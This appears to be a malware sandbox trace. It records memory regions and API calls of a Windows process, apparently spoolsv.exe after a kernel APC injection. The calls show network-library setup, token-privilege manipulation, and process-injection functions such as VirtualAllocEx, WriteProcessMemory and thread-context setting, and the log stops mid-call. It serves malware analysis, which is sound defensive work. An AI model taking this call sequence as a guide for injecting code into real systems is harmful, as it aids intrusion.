"\\Windows\\System32\\locale.nls" Region: id = 2638 start_va = 0x120000 end_va = 0x126fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 2639 start_va = 0x130000 end_va = 0x131fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 2640 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2641 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2642 start_va = 0x170000 end_va = 0x17ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 2643 start_va = 0x180000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 2644 start_va = 0x380000 end_va = 0x507fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 2645 start_va = 0x510000 end_va = 0x690fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 2646 start_va = 0x6a0000 end_va = 0x1a9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 2647 start_va = 0x1aa0000 end_va = 0x1e92fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001aa0000" filename = "" Region: id = 2648 start_va = 0x2040000 end_va = 0x20bffff entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 2649 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 2650 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2651 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2652 start_va = 0x7fefcb90000 end_va = 0x7fefcbbbfff entry_point = 0x7fefcb915c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" Region: id = 2653 start_va = 0x7fefd2b0000 end_va = 0x7fefd30afff entry_point = 0x7fefd2b6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" Region: id = 2654 start_va = 0x7fefddc0000 end_va = 0x7fefddf5fff entry_point = 0x7fefddc1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" Region: id = 2655 start_va = 0x7fefde70000 end_va = 0x7fefde89fff entry_point = 0x7fefde71558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" Region: id = 2656 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 2657 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 2658 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 2659 start_va = 0x7feff1e0000 end_va = 0x7feff22cfff entry_point = 0x7feff1e1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" Region: id = 2660 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 2661 start_va = 0x7feff310000 end_va = 0x7feff4e6fff entry_point = 0x7feff311010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" Region: id = 2662 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 2663 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 2664 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 2665 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 2666 start_va = 0x7feffce0000 end_va = 0x7feffce7fff entry_point = 0x7feffce1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" Region: id = 2667 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 2668 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 2669 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 2670 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 2671 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 2672 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 2673 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 2674 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 2675 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 2676 start_va = 0x1f70000 end_va = 0x1feffff entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 2677 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 2678 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 2719 start_va = 0x22e0000 end_va = 0x25aefff entry_point = 0x22e0000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 2797 start_va = 0x1ec0000 end_va = 0x1efffff entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 2798 start_va = 0x2120000 end_va = 0x215ffff entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 2799 start_va = 0x2160000 end_va = 0x219ffff entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 2800 start_va = 0x21f0000 end_va = 0x222ffff entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 2801 start_va = 0x2760000 end_va = 0x27dffff entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 2802 start_va = 0x29b0000 end_va = 0x29bffff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2803 start_va = 0x7fefb740000 end_va = 0x7fefb74afff entry_point = 0x7fefb744f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" Region: id = 2804 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 2805 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2806 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2807 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2808 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2846 start_va = 0x7fefd060000 end_va = 0x7fefd069fff entry_point = 0x7fefd063cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" Region: id = 2847 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd4932b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" Region: id = 2848 start_va = 0x7fefda00000 end_va = 0x7fefda0afff entry_point = 0x7fefda01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" Region: id = 2849 start_va = 0x7fefda60000 end_va = 0x7fefda84fff entry_point = 0x7fefda69658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" Region: id = 2850 start_va = 0x7fefdb40000 end_va = 0x7fefdb53fff entry_point = 0x7fefdb410e0 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" Thread: id = 317 os_tid = 0x518 [0096.017] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\spoolsv.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.017] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.020] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0096.020] IoIs32bitProcess (Irp=0x0) returned 0 [0096.020] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80036f0cc0 [0096.020] KeInitializeApc (Apc=0xfffffa80036f0cc0, Thread=0xfffffa80038a2b60, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0096.020] KeInsertQueueApc (Apc=0xfffffa80036f0cc0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0096.020] ExFreePoolWithTag (P=0xfffffa80036f0cc0, Tag=0x0) [0096.020] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa80038b3b80 [0096.020] IoGetCurrentProcess () returned 0xfffffa80038a4aa0 [0096.020] PsGetCurrentProcessId () returned 0x514 [0096.020] IoIs32bitProcess (Irp=0x0) returned 0 [0096.020] KeInitializeEvent (in: Event=0xfffffa80038b3bc0, Type=0x0, State=0 | out: Event=0xfffffa80038b3bc0) [0096.020] ExQueueWorkItem (in: WorkItem=0xfffffa80038b3b80*(List.Flink=0x0, List.Blink=0x3c9b941003024, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80038b3b80), QueueType=0x1 | out: WorkItem=0xfffffa80038b3b80*(List.Flink=0x0, List.Blink=0x3c9b941003024, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80038b3b80)) [0096.038] KeWaitForMutexObject () returned 0x0 [0096.087] ExFreePoolWithTag (P=0xfffffa80038b3b80, Tag=0x0) [0096.087] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.094] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.098] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.098] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.099] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.099] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.099] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.100] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.100] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\powrprof.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.101] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\setupapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.101] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cfgmgr32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.101] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.102] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.102] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.103] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\devobj.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.103] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dnsapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.104] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ws2_32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.104] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.314] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.315] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.321] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0096.334] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0096.334] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0096.334] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0096.334] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0096.334] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0096.334] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.334] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.335] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.335] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.335] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.336] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.342] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0096.342] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0096.342] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0096.342] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0096.342] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.344] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0096.344] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0096.344] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.345] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0096.345] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0096.345] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0096.345] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0096.345] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0096.345] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0096.345] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0096.441] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0096.441] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0096.441] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x6ece8 | out: lpflOldProtect=0x6ece8*=0x40) returned 1 [0096.441] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x6ece8 | out: lpflOldProtect=0x6ece8*=0x4) returned 1 [0096.441] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0096.441] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0096.441] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0096.441] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0096.441] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0096.441] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0096.441] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0096.441] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0096.442] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0096.442] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0096.442] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0096.442] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0096.442] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0096.442] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0096.442] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0096.442] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0096.442] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0096.442] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0096.442] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0096.442] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0096.442] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0096.442] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0096.443] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0096.443] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0096.443] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0096.443] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0096.443] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0096.443] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0096.443] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0096.443] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0096.443] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0096.443] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0096.443] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0096.443] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0096.443] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0096.443] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0096.443] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0096.444] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0096.444] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0096.444] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0096.444] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0096.444] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0096.444] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0096.444] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0096.444] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0096.444] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0096.444] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0096.444] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0096.444] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0096.444] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0096.444] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0096.444] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0096.445] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0096.445] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0096.445] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0096.445] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0096.445] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0096.445] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0096.445] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0096.445] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0096.445] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0096.445] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0096.445] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0096.445] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0096.445] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0096.445] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0096.445] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0096.446] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0096.446] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0096.446] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0096.446] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0096.446] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0096.446] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0096.446] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0096.446] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0096.446] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0096.446] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0096.446] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0096.446] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0096.446] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0096.446] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0096.447] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0096.447] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0096.447] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0096.447] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0096.447] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0096.447] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0096.447] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0096.447] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0096.447] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0096.447] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0096.447] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0096.447] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0096.447] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0096.447] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0096.447] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0096.448] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0096.448] GetProcAddress 